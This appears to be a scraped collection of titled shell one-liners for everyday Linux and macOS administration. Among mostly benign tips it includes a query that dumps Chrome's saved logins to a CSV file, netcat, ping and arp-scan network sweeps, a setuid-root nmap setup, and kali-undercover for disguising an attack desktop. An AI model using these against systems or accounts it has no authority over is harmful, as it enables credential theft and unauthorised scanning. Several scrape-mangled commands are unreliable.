hourglass(){ trap 'tput cnorm' 0 1 2 15 RETURN;local s=$(($SECONDS +$1));(tput civis;while (($SECONDS<$s));do for f in '|' '\' '-' '/';do echo -n "$f";sleep .2s;echo -n $'\b';done;done;);}
delete command line last word
ctrl+w
Swap the two last arguments of the current command line
Draw kernel module dependancy graph.
lsmod | awk 'BEGIN{print "digraph{"}{split($4, a, ","); for (i in a) print $1, "->", a[i]}END{print "}"}'|display
Color man pages
echo "export LESS_TERMCAP_mb=$'\E[01;31m'" >> ~/.bashrc
Print without executing the last command that starts with…
!ssh:p
List all process running a specfic port
sudo lsof -i :<port>
grep apache access.log and list IP's by hits and date - sorted
grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
list all executables in your path
ls `echo $PATH | sed 's/:/ /g'`
Remove annoying OS X DS_Store folders
find . -name .DS_Store -exec rm {} \;
Tweak system files without invoking a root shell
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
Create a self-extracting archive for win32 using 7-zip
cat /path/to/7z.sfx /path/to/archive > archive.exe
Getting the last argument from the previous command
cd !$
Show latest changed files
ls -ltcrh
Create md5sum of files under the current dir excluding some directories
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
lsof equivalent on solaris
/usr/proc/bin/pfiles $PID
Batch resize all images in the current directory that are bigger than 800px, height or weight.
mogrify -resize 800\> *
Execute a sudo command remotely, without displaying the password
stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
Convert video files to XviD
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
Show this month's calendar, with today's date highlighted
cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
Remove several files with ease
rm file{1..10}
Resize A Mounted EXT3 File System
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
remove all snapshots from all virtual machines in vmware esx
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
Load another file in vim
:split <file>
Mount and umount iso files
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
netcat as a portscanner
nc -v -n -z -w 1 127.0.0.1 22-1000
Print the 10 deepest directory paths
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
Get your Tweets from the command line
curl -s -u user:password 'http://twitter.com/statuses/friends_timeline.xml?count=5' | xmlstarlet sel -t -m '//status' -v 'user/screen_name' -o ': ' -v 'text' -n
split a string (1)
ARRAY=(aa bb cc);echo ${ARRAY[1]}
Find the processes that are on the runqueue. Processes with a status of
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
Remove Backup Files
find / -name *~ -delete
What is the use of this switch ?
manswitch () { man $1 | less -p "^ +$2"; }
Save the list of all available commands in your box to a file
compgen -c | sort -u > commands
Protect directory from an overzealous rm -rf *
cd <directory>; touch ./-i
Watch RX/TX rate of an interface in kb/s
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
Reuse last parameter
!$
Blink LED Port of NIC Card
ethtool -p eth0
Running scripts after a reboot for non-root users .
@reboot <yourscript.sh>
run command on a group of nodes in parallel
echo "uptime" | tee >(ssh host1) >(ssh host2) >(ssh host3)
make, or run a script, everytime a file in a directory is modified
while true; do inotifywait -r -e MODIFY dir/ && make; done;
Convert a Nero Image File to ISO
dd bs=1k if=image.nrg of=image.iso skip=300
Copy with progress
rsync --progress file1 file2
a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'
generate random password
pwgen -Bs 10 1
A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
Search back through previous commands
Ctrl-R <search-text>
Show directories in the PATH, one per line
echo $PATH | tr \: \\n
Move all images in a directory into a directory hierarchy based on year, month and day based on exif information
exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir
Follow tail by name (fix for rolling logs with tail -f)
tail -F file
Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt
Display current bandwidth statistics
ifstat -nt
restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log
view the system console remotely
sudo cat /dev/vcs1 | fold -w 80
Monitor TCP opened connections
watch -n 1 "netstat -tpanl | grep ESTABLISHED"
ps a process keeping the header info so you know what the columns of numbers mean!
ps auxw |egrep "PID|process_to_look_at"
checking space availabe on all /proc/mounts points (using Nagios check_disk)
check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
count processes with status "D" uninterruptible sleep
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
Show top running processes by the number of open filehandles they have
lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
connect to X login screen via vnc
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
HTTP redirect
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
display contents of a file w/o any comments or blank lines
egrep '^[^#]' some_file
Short and sweet output from dig(1)
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
open a seperate konsole tab and ssh to each of N servers (konsole 4.2+)
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
Generate White Noise
cat /dev/urandom > /dev/dsp
bash shell expansion
cp /really/long/path/and/file/name{,-`date -I`}
Count down from 10
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
diff two sorted files
diff <(sort file1.txt) <(sort file2.txt)
Command line progress bar
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
Update program providing a functionality on Debian
update-alternatives --config java
Find files with root setuids settings
sudo find / -user root -perm -4000 -print
for newbies, how to get one line info about all /bin programs
ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
a for loop with filling 0 format, with seq
for i in `seq -f %03g 5 50 111`; do echo $i ; done
Number of CPU's in a system
grep "processor" /proc/cpuinfo | wc -l
reverse order of file
sed '1!G;h;$!d'
Convert Unix newlines to DOS newlines
sed 's/$/<ctrl+v><ctrl+m>/'
remove leading blank lines
sed '/./,$!d'
Open up a man page as PDF (#OSX)
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
Delete line number 10 from file
sed -i '10d' <somefile>
Gzip files older than 10 days matching *
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
Redirect STDIN
I hate echo X | Y
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=
Send keypresses to an X application
xvkbd -xsendevent -text "Hello world"
Add calendar to desktop wallpaper
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
Browse system RAM in a human readable form
sudo cat /proc/kcore | strings | awk 'length > 20' | less
Add forgotten changes to the last git commit
git commit --amend
Calculates the date 2 weeks ago from Saturday the specified format.
date -d '2 weeks ago Saturday' +%Y-%m-%d
Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'
Press ctrl+r in a bash shell and type a few letters of a previous command
^r in bash begins a reverse-search-history with command completion
Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3
Quick glance at who's been using your system recently
last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1
Use last argument of last command
file !$
scping files with streamlines compression (tar gzip)
tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
Print all git repos from a user
curl -s https://api.github.com/users/<username>/repos?per_page=1000 |grep git_url |awk '{print $2}'| sed 's/"\(.*\)",/\1/'
Determine if a port is open with bash
: </dev/tcp/127.0.0.1/80
Search for a process by name
ps -fC PROCESSNAME
Mount a VMware virtual disk (.vmdk) file on a Linux box
kpartx -av <image-flat.vmdk>; mount -o /dev/mapper/loop0p1 /mnt/vmdk
Download all mp3's listed in an html page
wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off [url of website]
Google text-to-speech in mp3 format
t2s() { wget -q -U Mozilla -O $(tr ' ' _ <<< "$1"| cut -b 1-15).mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=$(tr ' ' + <<< "$1")"; }
Run the built in PHP-server in current folder
php -S 127.0.0.1:8080
Press enter and take a WebCam picture.
read && ffmpeg -y -r 1 -t 3 -f video4linux2 -vframes 1 -s sxga -i /dev/video0 ~/webcam-$(date +%m_%d_%Y_%H_%M).jpeg
sort the output of the 'du' command by largest first, using human readable output.
du -h --max-depth=1 |sort -rh
Verify/edit bash history command before executing it
shopt -s histverify
list files with last modified at the end
alias lrt='ls -lart'
Mac OS-X-> copy and paste things to and from the clipboard from the shell
command | pbcopy && pbpaste
Displays process tree of all running processes
pstree -Gap
Lists all directories under the current dir excluding the .svn directory and its contents
find . \( -type d -name .svn -prune \) -o -type d -print
Convert PNG to GIF
for file in *.png; do convert "$file" "$(basename $file .png).gif"; done
Extract audio stream from an AVI file using mencoder
mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
Tired of switching between proxy and no proxy? here's the solution.
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
Unixtime
date +%s
take a look to command before action
find /tmp -type f -printf 'rm "%p";\n'
Check if running in an X session
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
Generate diff of first 500 lines of two files
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
fix broken permissions
find /path -type d -perm 777 -exec chmod 755 {} \;
Undo several commits by committing an inverse patch.
git diff HEAD..rev | git apply --index; git commit
Live filter a log file using grep and show x!!! Example "of lines above and below
tail -f <filename> | grep -C <!!! Example "of lines to show above and below> <text>
setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub) machine.
ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
uniq for unsorted data
awk '!_[$0]++{print}'
Reconnect to screen without disconnecting other sessions
screen -xR
Printable random characters
tr -dc '[:print:]' < /dev/urandom
Change every instance of OLD to NEW in file FILE
sed -i 's/OLD/NEW/g' FILE
vimdiff to remotehost
vimdiff tera.py <(ssh -A testserver "cat tera.py")
locate bin, src, and man file for a command
whereis somecommand
A nice command for summarising repeated information
alias counts=sort | uniq -c | sort -nr
Display summary of git commit ids and messages for a given branch
git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
Create a zip archive excluding all SVN folders
zip -r myfile.zip * -x \*.svn\*
In emergency situations, in order not to panic, shut down the following port on the network with the following rather then shutting down the PC.
fuser -k 445/tcp
Gets the english pronunciation of a phrase
say() { mplayer "http://translate.google.com/translate_tts?q=$1"; }
Check syntax for all PHP files in the current directory and all subdirectories
find . -name \*.php -exec php -l "{}" \;
Ask for a password, the passwd-style
read -s -p"Password: " USER_PASSWORD_VARIABLE; echo
monitor memory usage
watch vmstat -sSM
Content search.
ff() { local IFS='|'; grep -rinE "$*" . ; }
Timer with sound alarm
sleep 3s && espeak "wake up, you bastard" 2>/dev/null
clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
cls(){ printf "\33[2J";} or, if no printf, cat >cls;<ctrl-v><ctrl+[>[2J<enter><ctrl+d> cls(){ cat cls;}
Run a program transparently, but print a stack trace if it fails
gdb -batch -ex "run" -ex "bt" ${my_program} 2>&1 | grep -v ^"No stack."$
Send email with curl and gmail
curl -n --ssl-reqd --mail-from "<user@gmail.com>" --mail-rcpt "<user@server.tld>" --url smtps://smtp.gmail.com:465 -T file.txt
Display BIOS Information
dmidecode -t bios
List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds | gnuplot -persist <(echo 'plot "/tmp/cmds" using 1:xticlabels(2) with boxes')
kill process by name
pkill -x firefox
Ping scanning without nmap
for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
JSON processing with Python
curl -s "http://feeds.delicious.com/v2/json?count=5" | python -m json.tool | less -R
Make ISO image of a folder
mkisofs -J -allow-lowercase -R -V "OpenCD8806" -iso-level 4 -o OpenCD.iso ~/OpenCD
Typing the current date ( or any string ) via a shortcut as if the keys had been actually typed with the hardware keyboard in any application.
xvkbd -xsendevent -text $(date +%Y%m%d)
Update twitter via curl (and also set the "from" bit)
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"
Play music from youtube without download
wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame -| mpg123 -
Function that outputs dots every second until command completes
sleeper(){ while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
Identify differences between directories (possibly on different servers)
diff <(ssh server01 'cd config; find . -type f -exec md5sum {} \;| sort -k 2') <(ssh server02 'cd config;find . -type f -exec md5sum {} \;| sort -k 2')
Replace spaces in filenames with underscores
rename -v 's/ /_/g' *
Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"
move a lot of files over ssh
rsync -az /home/user/test user@sshServer:/tmp/
find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +
Do we use: 'Wayland' OR 'x11' (systemd version)
loginctl show-session $XDG_SESSION_ID -p Type
Generate a QR code in the terminal
printf 'https://www.gentoo.org/' | curl -F-=\<- qrenco.de
Fill the screen with randomly colored lines
while :; do printf "\e[48;2;$((RANDOM % 256));$((RANDOM % 256));$((RANDOM % 256))m%*s\e[0m" $(tput cols) ""; sleep 0.1; done
Unzip 25 zip files files at once
find . -maxdepth 1 -name '*.zip' -print0 | xargs -0 -I {} -P 25 unzip {}
merge multiple jpgs to one picture vertikal
convert picture-1.jpg picture-2.jpg picture-3.jpg -append Output_merged_picture.jpg
List all packages in Ubuntu/Debian that no package depends on
dpkg-query --show --showformat='${Package}\t${Status}\n' | tac | awk '/installed$/ {print $1}' | xargs apt-cache rdepends --installed | tac | awk '{ if (/^ /) ++deps; else if (!/:$/) { if (!deps) print; deps = 0 } }'
Backup all starred repositories from Github
GITUSER=$(whoami); curl "https://api.github.com/users/${GITUSER}/starred?per_page=1000" | grep -o 'git@[^"]*' | xargs -L1 git clone
Make Kali Linux look less suspicious by making the desktop look more like a windows machine
kali-undercover
Quickly add a new user to all groups the default user is in
groups pi | xargs -n 1 | tail -n +4 | xargs -n 1 sudo adduser kostis
Download entire website
wget -r -p -U Mozilla --wait=10 --limit-rate=35K https://www.thegeekstuff.com
Display disk partition sizes
lsblk | grep -v part | awk '{print $1 "\t" $4}'
Arch Linux: Always install software without asking
alias pacman=‘sudo pacman --noconfirm’
Share a file quickly using a python web server
cd $mydir && python3 -m http.server 8888
Crash bash, in case you ever want to for whatever reason
enable -f /usr/lib/libpng.so png_create_read
Color STDERR in output
./errorscript.sh 2> >(echo "\e[0;41m$(cat)\e[0m")
Get a range on line with sed (first two)
sed -n '1,2p;3q' file
Replace all forward slashes with backward slashes
echo '/usr/bin/' | sed 's|\/|\\|g'
Show current network interface in use
ip addr | awk '/state UP/ {print $2}' | sed 's/.$//'
Quick and dirty hardware summary
alias gethw='(printf "\nCPU\n\n"; lscpu; printf "\nMEMORY\n\n"; free -h; printf "\nDISKS\n\n"; lsblk; printf "\nPCI\n\n"; lspci; printf "\nUSB\n\n"; lsusb; printf "\nNETWORK\n\n"; ifconfig) | less'
openssl Generate Self Signed SSL Certifcate
openssl req -newkey rsa:2048 -nodes -keyout /etc/ssl/private/myblog.key -x509 -days 365 -out /etc/ssl/private/myblog.pem
Find out how much ram memory has your video (graphic) card
glxinfo |grep -i -o 'device|memory\|[0-9]\{1,12\} MB'|head -n 1
tar and bz2 a set of folders as individual files
find . -maxdepth 1 -type d -name '*screenflow' -exec tar jcvf {}.tar.bz2 {} \;
After typing lots of commands in windows, save them to a batch file quickly
copy con batchfilename.bat
Calculate pi to an arbitrary number of decimal places
bc -l <<< "scale=1000; 4*a(1)"
Create POSIX tar archive
pax -wf archive.tar /path
urldecoding
sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e
Validate and pretty-print JSON expressions.
echo '{"json":"obj"}' | python -m simplejson.tool
List your largest installed packages.
wajig large
Fix Ubuntu's Broken Sound Server
sudo killall -9 pulseaudio; pulseaudio >/dev/null 2>&1 &
beep when a server goes offline
while true; do [ "$(ping -c1W1w1 server-or-ip.com | awk '/received/ {print $4}')" != 1 ] && beep; sleep 1; done
Number of open connections per ip.
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
Fibonacci numbers with awk
seq 50| awk 'BEGIN {a=1; b=1} {print a; c=a+b; a=b; b=c}'
Create a favicon
convert -colors 256 -resize 16x16 face.jpg face.ppm && ppmtowinicon -output favicon.ico face.ppm
Check Ram Speed and Type in Linux
sudo dmidecode --type 17 | more
Run the Firefox Profile Manager
firefox -no-remote -P
Delete the specified line
sed -i 8d ~/.ssh/known_hosts
Sort dotted quads
sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
Resume aborted scp file transfers
rsync --partial --progress --rsh=ssh SOURCE DESTINATION
Another Curl your IP command
curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
Add your public SSH key to a server in one command
cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
cycle through a 256 colour palette
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
Select rectangular screen area
Ctrl + Alt
Fetch the current human population of Earth
curl -s http://www.census.gov/popclock/data/population/world | python -c 'import json,sys;obj=json.load(sys.stdin);print obj["world"]["population"]'
Google verbatim search on your terminal
function google { Q="$@"; GOOG_URL='https://www.google.de/search?tbs=li:1&q='; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}${Q//\ /+}" | grep -oP '\/url\?q=.+?&' | sed 's|/url?q=||; s|&||'); echo -e "${stream//\%/\x}"; }
grep processes list avoiding the grep itself
ps axu | grep [a]pache2
Transfer a file to multiple hosts over ssh
pscp -h hosts.txt -l username /etc/hosts /tmp/hosts
Daemonize nc - Transmit a file like a http server
while ( nc -l 80 < /file.htm > : ) ; do : ; done &
tail a log over ssh
ssh -t remotebox "tail -f /var/log/remote.log"
du with colored bar graph
t=$(df|awk 'NR!=1{sum+=$2}END{print sum}');sudo du / --max-depth=1|sed '$d'|sort -rn -k1 | awk -v t=$t 'OFMT="%d" {M=64; for (a=0;a<$1;a++){if (a>c){c=a}}br=a/c;b=M*br;for(x=0;x<b;x++){printf "\033[1;31m" "|" "\033[0m"}print " "$2" "(a/t*100)"% total"}'
Resize an image to at least a specific resolution
convert -resize '1024x600^' image.jpg small-image.jpg
stream a youtube video with mpv where $1 is the youtube link.
setsid mpv --input-ipc-server=/tmp/mpvsoc$(date +%s) -quiet "$1" >/dev/null 2>&1
Print your cpu intel architecture family
cat /sys/devices/cpu/caps/pmu_name
Top 10 Memory Processes
ps aux | sort -rk 4,4 | head -n 10
Graphical tree of sub-directories with files
find . -print | sed -e 's;[^/]*/;|-- ;g;s;-- |; |;g'
Create backup copy of file, adding suffix of the date of the file modification (NOT today's date)
cp file{,.$(date -r file "+%y%m%d")}
Get CPU thermal data on MacOS
sysctl machdep.xcpm.cpu_thermal_level
Access folder "-"
cd -- -
shell bash iterate number range with for loop
for i in {1..10}; do echo $i; done
Create backup copy of file, adding suffix of the date of the file modification (NOT today's date)
cp file file.$(date -d @$(stat -c '%Y' file) "+%y%m%d")
Bash function that saves bash functions to file from shell session
save_function(){ while [[ $!!! Example "> 0 ]]; do { date +"!!! Example "%F.%T $1; declare -f "$1";}| tee -a ~/.bash_functions; shift; done;}
Listing today’s files only
find directory_path -maxdepth 1 -daystart -mtime -1
Decrypt passwords from Google Chrome and Chromium.
sqlite3 -header -csv -separator "," ~/.config/google-chrome/Default/Login\ Data "SELECT * FROM logins" > ~/Passwords.csv
Manipulate the metadata and edit the create time (This will change date to 1986:11:05 12:00 - Date: 1986 5th November, Time: 12.00) and then it will set modify date to the same as alldate.
exiftool "-AllDates=1986:11:05 12:00:00" a.jpg; exiftool "-DateTimeOriginal>FileModifyDate" a.jpg
Print CPU load in percent
printf "1-minute load average: %.1f%%\n" \ $(bc <<<"$(cut -d ' ' -f 1 /proc/loadavg) * 100")
Alert visually until any key is pressed
while true; do echo -e "\e[?5h\e[38;5;1m A L E R T $(date)"; sleep 0.1; printf \\e[?5l; read -s -n1 -t1 && printf \\e[?5l && break; done
Download all recently uploaded pastes on pastebin.com
elinks -dump https://pastebin.com/archive|grep https|cut -c 7-|sed 's/com/com\/raw/g'|awk 'length($0)>32 && length($0)<35'|grep -v 'messages\|settings\|languages\|archive\|facebook\|scraping'|xargs wget
get partitions that are over 50% usage
df -h |awk '{a=$5;gsub(/%/,"",a);if(a > 50){print $0}}'
Check host port access using only Bash:
s="$(cat 2>/dev/null < /dev/null > /dev/tcp/${target_ip}/${target_port} & WPID=$!; sleep 3 && kill $! >/dev/null 2>&1 & KPID=$!; wait $WPID && echo 1)" ; s="${s:-0}"; echo "${s}" | sed 's/0/2/;s/1/0/;s/2/1/'
Calculate the distance between two geographic coordinates points (latitude longitude)
h(){ echo $@|awk '{d($1,$2,$3,$4);} function d(x,y,x2,y2,a,c,dx,dy){dx=r(x2-x);dy=r(y2-y);x=r(x);x2=r(x2);a=(sin(dx/2))^2+cos(x)*cos(x2)*(sin(dy/2))^2;c=2*atan2(sqrt(a),sqrt(1-a)); printf("%.4f",6372.8*c);} function r(g){return g*(3.1415926/180.);}';}
Set pcap & SUID Bit for priv. network programs (like nmap)
export BIN=`which nmap` && sudo setcap cap_net_raw,cap_net_admin+eip $BIN && sudo chown root $BIN && sudo chmod u+s $BIN
Extract rpm package name, version and release using some fancy sed regex
rpm -qa | sed 's/^\(.*\)-\([^-]\{1,\}\)-\([^-]\{1,\}\)$/\1 \2 \3/' | sort | column -t
Programmatic way to find and set your timezone
sudo timedatectl set-timezone $(curl -s worldtimeapi.org/api/ip.txt | sed -n 's/^timezone: //p')
Shows space used by each directory of the root filesystem excluding mountpoints/external filesystems (and sort the output)
find / -maxdepth 1 -mindepth 1 -type d \! -empty \! -exec mountpoint -q {} \; -exec du -xsh {} + | sort -h
Shows space used by each directory of the root filesystem excluding mountpoints/external filesystems (and sort the output)
find / -maxdepth 1 -mindepth 1 -type d -exec du -skx {} \; | sort -n
Find wich ports you probably want to open in your firewall on a fresh installed machine
lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
Query well known ports list
getent services <<service>>
Create .pdf from .doc
oowriter -pt pdf your_word_file.doc
Diff XML files
diffxml() { diff -wb <(xmllint --format "$1") <(xmllint --format "$2"); }
Discovering all open files/dirs underneath a directory
lsof +D <dirname>
"Clone" a list of installed packages from one Debian/Ubuntu Server to another
apt-get install `ssh root@host_you_want_to_clone "dpkg -l | grep ii" | awk '{print $2}'`
Find out the starting directory of a script
echo "${0%/*}"
Down for everyone or just me?
down4me() { wget -qO - "http://www.downforeveryoneorjustme.com/$1" | sed '/just you/!d;s/<[^>]*>//g' ; }
Place the NUM-th argument of the most recent command on the shell
A formatting test for David Winterbottom: improving commandlinefu for submitters
echo "?????, these are the umlauted vowels I sing to you. Oh, and sometimes ?, but I don't sing that one cause it doesn't rhyme."
Compare copies of a file with md5
cmp file1 file2
backup delicious bookmarks
curl --user login:password -o DeliciousBookmarks.xml -O 'https://api.del.icio.us/v1/posts/all'
analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -U -s0 -w - 'not port 22' | wireshark -k -i -
pretend to be busy in office to enjoy a cup of coffee
for i in {0..600}; do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}'
Quick HTML image gallery from folder contents
find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html
Find all active ip's in a subnet
sudo arp-scan -I eth0 192.168.1.0/24
Disassemble some shell code
echo -ne "<shellcode>" | x86dis -e 0 -s intel
List bash functions defined in .bash_profile or .bashrc
compgen -A function
Resume a detached screen session, resizing to fit the current terminal
screen -raAd
ignore the .svn directory in filename completion
export FIGNORE=.svn
Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
Remote backups with tar over ssh
tar jcpf - [sourceDirs] |ssh user@host "cat > /path/to/backup/backupfile.tar.bz2"
Pronounce an English word using Dictionary.com
pronounce(){ wget -qO- $(wget -qO- "http://dictionary.reference.com/browse/$@" | grep 'soundUrl' | head -n 1 | sed 's|.*soundUrl=\([^&]*\)&.*|\1|' | sed 's/%3A/:/g;s/%2F/\//g') | mpg123 -; }
Change pidgin status
purple-remote "setstatus?status=away&message=AFK"
Grep by paragraph instead of by line.
grepp() { [ $!!! Example "-eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
Make a dedicated folder for each zip file
for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
Show a prettified list of nearby wireless APs
nmcli device wifi list
Generate SSH public key from the private key
ssh-keygen -y -f privatekey.pem > publickey.pem
"Pretty print" $PATH, show directories in $PATH, one per line with replacement pattern using shell parameter expansion
echo -e ${PATH//:/\\n}
Check SSL expiry from commandline
echo | openssl s_client -showcerts -servername google.com -connect gnupg.org:443 2>/dev/null | openssl x509 -inform pem -noout -text
Display list of available printers
lpstat -p
Print a horizontal line
printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}
Test your bash skills.
ssh bandit0@bandit.labs.overthewire.org -p 2220
Restart openssh-server on your Synology NAS from commandline.
synoservicectl --restart sshd
Sort processes by CPU Usage
ps aux | sort -rk 3,3 | head -n 10
Insert a line at the top of a text file without sed or awk or bash loops
echo "New first line" | cat - file.txt > newfile.txt; mv newfile.txt file.txt
Backup all databases in a MySQL container
cat databases.txt | while read db; do docker exec $container_name bash -c "mysqldump -uroot -p\$MYSQL_ROOT_PASSWORD ${db}" | gzip -9 > $HOME/backups/${db}_`date +%Y%m%d_%H%M%S`.sql.gz; done
Display two calendar months side by side
cal -3
Show the PATH, one directory per line (part 2)
tr : \\n <<<$PATH
Calculate days on which Friday the 13th occurs (inspired from the work of the user justsomeguy)
for i in {2018..2025}-{01..12}-13; do [[ $(date --date $i +"%u" | grep 5) != 5 ]] || echo "$i Friday the 13th"; done
Remove r (carriage return) in a file
sed -i 's/\r//g somefile.txt
Day of the week of your birthday over the years.
DAY=01; MONTH=07; YEAR=1979; CURRENT_YEAR=$(date +%Y); for i in $(seq $YEAR $CURRENT_YEAR); do echo -n "$i -> "; date --date "$i-$MONTH-$DAY" +%A; done
Kill all processes that listen to ports begin with 50 (50, 50x, 50xxx,…)
sudo netstat -plnt | awk '($4 ~ /:50$/){sub(/\/.*/, "", $7); system("sudo kill " $7)}'
Disable sleep mode via cli and systemd (Centos, Debian Ubuntu?)
sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target
Convert seconds to [DD:][HH:]MM:SS
sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }
Convert entire audio library in parallel
lc() { od="$1"; nd="$2"; of=$3; nf=$4; cp -rl "$od" "$nd"; parallel -0 "ffmpeg -i {1} -loglevel error -q:a 6 {1.}.{2} && { rm {1}; echo {1.}.{2}; }" :::: <(find "$nd" -type f -iname \*$of -print0) ::: "$nf"; }
dd with progress bar and statistics
sudo pv -tpreb /path/to/source | sudo dd bs=4096 of=/path/to/destination
Open a manpage in the default (graphical) web browser
alias bman='man --html=x-www-browser'
Grab the first 3 octets of your ip addresses
ifconfig | awk -F: '/inet addr:/ { sub(/\.[^.]+$/, "", $2); if (!seen[$2]++ && $2 != "127.0.0") print $2 }'
Print random emoji in terminal
printf "\U$(printf '%x' $((RANDOM%79+128512)) )"
Vim: Switch from Horizontal split to Vertical split
^W-L
Numbers guessing game
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";
a trash function for bash
trash <file>
Sort all running processes by their memory & CPU usage
ps aux --sort=%mem,%cpu
generate a unique and secure password for every website that you login to
